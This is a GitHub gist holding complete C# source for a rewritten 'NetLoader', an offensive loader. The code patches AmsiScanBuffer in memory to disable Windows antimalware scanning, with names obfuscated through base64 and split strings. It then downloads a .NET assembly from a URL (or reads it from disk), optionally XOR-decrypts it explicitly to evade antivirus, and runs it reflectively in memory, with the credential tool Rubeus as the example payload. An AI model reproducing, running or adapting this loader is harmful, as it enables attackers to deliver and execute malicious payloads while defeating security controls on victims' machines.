Skip to content

Instantly share code, notes, and snippets.

@Arno0x
Last active October 12, 2023 23:19
Show Gist options
  • Save Arno0x/2b223114a726be3c5e7a9cacd25053a2 to your computer and use it in GitHub Desktop.
Save Arno0x/2b223114a726be3c5e7a9cacd25053a2 to your computer and use it in GitHub Desktop.
Partial rewrite of @Flangvik NetLoader. Supports proxy with authentication, XOR encrypted binaries, multiple arguments passing to binary.
/*
Author: Arno0x0x, Twitter: @Arno0x0x
Completely based on @Flangvik netloader
This partial rewrite of @Flangvik Netloader includes the following changes:
- Allow loading of an XOR encrypted binary to bypass antiviruses
To encrypt the initial binary you can use my Python transformFile.py script.
Example: ./transformFile.py -e xor -k mightyduck -i Rubeus.bin -o Rubeus.xor
Source: https://gist.github.com/Arno0x/1ec189d6bee3e92fdef1d72a72899b1d
- Different parsing of arguments which allows passing multiple arguments to the loaded binary
- Support of web proxy with authentication if ever required
- Removed access to hardcoded URL on GitHub (not secure practice !)
===================================== COMPILING =====================================
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:NetLoader.exe NetLoader.cs
*/
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;
public class TotallyNotNt
{
[DllImport("ke" +"rne" + "l32")]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("ke" +"rne" + "l32")]
private static extern IntPtr LoadLibrary(string name);
[DllImport("ke" +"rne" + "l32")]
private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
static WebClient leaveMeAlone = new WebClient();
//---------------------------------------------------------------------------------------
//
//---------------------------------------------------------------------------------------
private static void RiddleMeThis(MethodInfo methodHolder, object[] dataArgs = null ){
methodHolder.Invoke(0, dataArgs);
}
//---------------------------------------------------------------------------------------
// XOR decrypt a byte array using a given key
//---------------------------------------------------------------------------------------
private static byte[] mixThis(byte[] input, byte[] theKey) {
byte[] mixed = new byte[input.Length];
for(int i = 0; i < input.Length; i++) {
mixed[i] = (byte) (input[i] ^ theKey[i % theKey.Length]);
}
return mixed;
}
//---------------------------------------------------------------------------------------
// Prints usage
//---------------------------------------------------------------------------------------
private static void PrintUsage() {
Console.WriteLine("Usage: ");
Console.WriteLine("Usage: {0} [-b64] [-xor <key>] -path <binary_path> [-args <binary_args>]", System.AppDomain.CurrentDomain.FriendlyName);
Console.WriteLine("\t-b64: Optionnal flag parameter indicating that all other parameters are base64 encoded.");
Console.WriteLine("\t-xor: Optionnal parameter indicating that binary files are XOR encrypted. Must be followed by the XOR decryption key.");
Console.WriteLine("\t-path: Mandatory parameter. Indicates the path, either local or a URL, of the binary to load.");
Console.WriteLine("\t-args: Optionnal parameter used to pass arguments to the loaded binary. Must be followed by all arguments for the binary.");
}
//=======================================================================================
// MAIN
//=======================================================================================
public static void Main(string[] args)
{
Console.WriteLine("[!] ~Flangvik - Arno0x0x Edition - #NetLoader");
//-----------------------------------------------
// Ensure we have some arguments
if (args.Length == 0) {
PrintUsage();
Environment.Exit(0);
}
//-----------------------------------------------
// If there's a system proxy used to download the binary
IWebProxy defaultProxy = WebRequest.DefaultWebProxy;
if (defaultProxy != null)
{
defaultProxy.Credentials = CredentialCache.DefaultCredentials;
leaveMeAlone.Proxy = defaultProxy;
}
//-----------------------------------------------
// Patch AMSI.DLL
MoveLifeAhead();
while (true)
{
try
{
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
string payloadPath = "";
string[] payloadArgs = {};
string micKey = "";
bool base64Decode = false;
bool micKeyEncoded = false;
foreach (string argument in args)
{
//----------------------------------------
// Flag parameter used to indicate that all other parameters are base64 encoded
if (argument.ToLower() == "-b64") {
base64Decode = true;
Console.WriteLine("[+] All arguments are Base64 encoded, decoding them on the fly");
}
//----------------------------------------
// Flag parameter used to indicate that the binary is XOR encrypted
if (argument.ToLower() == "-xor")
{
micKeyEncoded = true;
int argData = Array.IndexOf(args, argument) + 1;
if (argData < args.Length)
{
string rawArg = args[argData];
if (base64Decode)
micKey = Encoding.UTF8.GetString(Convert.FromBase64String(rawArg));
else
micKey = rawArg;
}
Console.WriteLine("[+] Decrypting XOR encrypted binary using key '{0}'",micKey);
}
//----------------------------------------
// The binary file path is set after this parameter
if (argument.ToLower() == "-path")
{
int argData = Array.IndexOf(args, argument) + 1;
if (argData < args.Length)
{
string rawPayload = args[argData];
if (base64Decode)
payloadPath = Encoding.UTF8.GetString(Convert.FromBase64String(rawPayload));
else
payloadPath = rawPayload;
}
}
//----------------------------------------
// The binary arguments, if any, are set after this parameter
if (argument.ToLower() == "-args")
{
int binaryArgsIndex = Array.IndexOf(args, argument) + 1;
int nbBinaryArgs = args.Length - binaryArgsIndex;
payloadArgs = new String[nbBinaryArgs];
// All arguments until the end are to be passed to the binary
for (int i = 0; i < nbBinaryArgs; i++) {
string rawPayloadArgs = args[binaryArgsIndex + i];
if (base64Decode)
payloadArgs[i] = Encoding.UTF8.GetString(Convert.FromBase64String(rawPayloadArgs));
else
payloadArgs[i] = rawPayloadArgs;
}
}
}
//----------------------------------------------------------------
// We're done parsing all arguments, check we at least have a path
if (string.IsNullOrEmpty(payloadPath)) {
PrintUsage();
Environment.Exit(0);
}
//----------------------------------------------------------------
// Load and start the binary with its arguments (if any)
Console.WriteLine("[+] Starting {0} with args '{1}'", payloadPath, string.Join(" ", payloadArgs));
leaveThisAlone(payloadPath, payloadArgs, micKeyEncoded, micKey);
Environment.Exit(0);
}
catch (Exception ex) {
Console.WriteLine("[!] Damn, it failed, too bad");
Console.WriteLine("[!] {0}", ex.Message);
Environment.Exit(0);
}
}
}
//---------------------------------------------------------------------------------------
// Returns the entry point of the assembly passed as argument
//---------------------------------------------------------------------------------------
private static MethodInfo testMe(Assembly asm)
{
if(1 == 1)
return asm.EntryPoint;
return null;
}
//---------------------------------------------------------------------------------------
//
//---------------------------------------------------------------------------------------
private static void CopyData(byte[] dataStuff, IntPtr somePlaceInMem, int holderFoo = 0)
{
Marshal.Copy(dataStuff, holderFoo, somePlaceInMem, dataStuff.Length);
}
//---------------------------------------------------------------------------------------
// Loads the AMSI.DLL library into memory and then patches it to actually
// disable it.
//---------------------------------------------------------------------------------------
private static void MoveLifeAhead(bool BigBoy = false)
{
try
{
var fooBar = LoadLibrary(Encoding.UTF8.GetString(Convert.FromBase64String("YW1zaS5kbGw=")));
IntPtr addr = GetProcAddress(fooBar, Encoding.UTF8.GetString(Convert.FromBase64String("QW1zaVNjYW5CdWZmZXI=")));
uint magicRastaValue = 0x40;
uint someNumber = 0;
if (System.Environment.Is64BitOperatingSystem)
{
var bigBoyBytes = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
VirtualProtect(addr, (UIntPtr)bigBoyBytes.Length, magicRastaValue, out someNumber);
CopyData(bigBoyBytes, addr);
}
else
{
var smallBoyBytes = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
VirtualProtect(addr, (UIntPtr)smallBoyBytes.Length, magicRastaValue, out someNumber);
CopyData(smallBoyBytes, addr);
}
Console.WriteLine("[+] Patched!");
}
catch (Exception ex) {
Console.WriteLine("[!] {0}", ex.Message);
}
}
//---------------------------------------------------------------------------------------
// This function actually calls the binary assembly entry point with its arguments
//---------------------------------------------------------------------------------------
public static void leaveThisAlone(string customUrl, string[] arguments, bool micKeyEncoded = false, string micKey = "")
{
object[] argHolder = new object[] { arguments };
byte[] micKeyBytes = Encoding.ASCII.GetBytes(micKey);
if (!customUrl.StartsWith("http"))
{
if (micKeyEncoded) {
RiddleMeThis(testMe(Assembly.Load(mixThis(File.ReadAllBytes(customUrl), micKeyBytes))),argHolder);
}
else {
RiddleMeThis(testMe(Assembly.Load(File.ReadAllBytes(customUrl))),argHolder);
}
}
else
{
if (micKeyEncoded) {
RiddleMeThis(testMe(Assembly.Load(mixThis(leaveMeAlone.DownloadData(customUrl),micKeyBytes))),argHolder);
}
else {
RiddleMeThis(testMe(Assembly.Load(leaveMeAlone.DownloadData(customUrl))),argHolder);
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment